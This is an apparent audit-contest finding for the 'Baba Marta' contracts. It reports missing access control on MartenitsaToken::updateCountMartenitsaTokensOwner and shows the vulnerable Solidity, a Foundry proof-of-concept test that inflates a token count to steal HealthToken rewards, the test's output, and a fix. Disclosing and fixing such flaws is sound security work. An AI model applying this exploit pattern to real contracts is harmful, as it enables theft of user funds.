First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of access control in `MartenitsaToken::updateCountMartenitsaTokensOwner` enables unauthorized reward claims

Turetos

Lack of access control in MartenitsaToken::updateCountMartenitsaTokensOwner enables unauthorized reward claims

Summary

The MartenitsaToken::updateCountMartenitsaTokensOwner function is responsible for updating the count of martenitsaTokens associated
with a specific address. This update occurs in two key locations: MartenitsaMarketplace::buyMartenitsa and MartenitsaMarketplace::makePresent.
However, a critical issue arises due to the lack of access control in MartenitsaToken::updateCountMartenitsaTokensOwner.
As a result, any external address can invoke this function, bypassing the intended constraints of the two designated locations.
This flaw compromises the integrity of the reward distribution mechanism utilized by MartenitsaMarketplace::collectReward,
which relies on the accurate accounting of martenitsaTokens for issuing health token rewards.

Vulnerability Details

The function MartenitsaToken::updateCountMartenitsaTokensOwner lacks access control and is externally accessible

@> function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
​

A test is included to demonstrate the ability of an address without tokens to repeatedly invoke the function, followed by calling
the MartenitsaMarketplace::collectReward function to earn healthTokens.

function testStealRewards() public {
address attacker = makeAddr("1337");
console.log("::HealthToken before :", healthToken.balanceOf(attacker));
​
vm.startPrank(attacker);
for (uint i; i < 100; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
}
marketplace.collectReward();
vm.stopPrank();
​
console.log("::HealthToken after :", healthToken.balanceOf(attacker));
}

Output

Logs:
::HealthToken before : 0
::HealthToken after : 33000000000000000000

Impact

Anyone can claim rewards without owning a Martenitsa token.

Tools Used

Foundry and manual review

Recommendations

Add an access control check to ensure the caller is only the MartenitsaMarketplace contract.

​
//@Audit: include the address of the marketplace in the constructor
address private immutable martenitsaMarketplace;
constructor(address _martenitsaMarketplace) ERC721("MartenitsaToken", "MT") Ownable(msg.sender) {
martenitsaMarketplace = _martenitsaMarketplace;
}
​
function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
++ require(msg.sender == martenitsaMarketplace, "Not allowed");
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.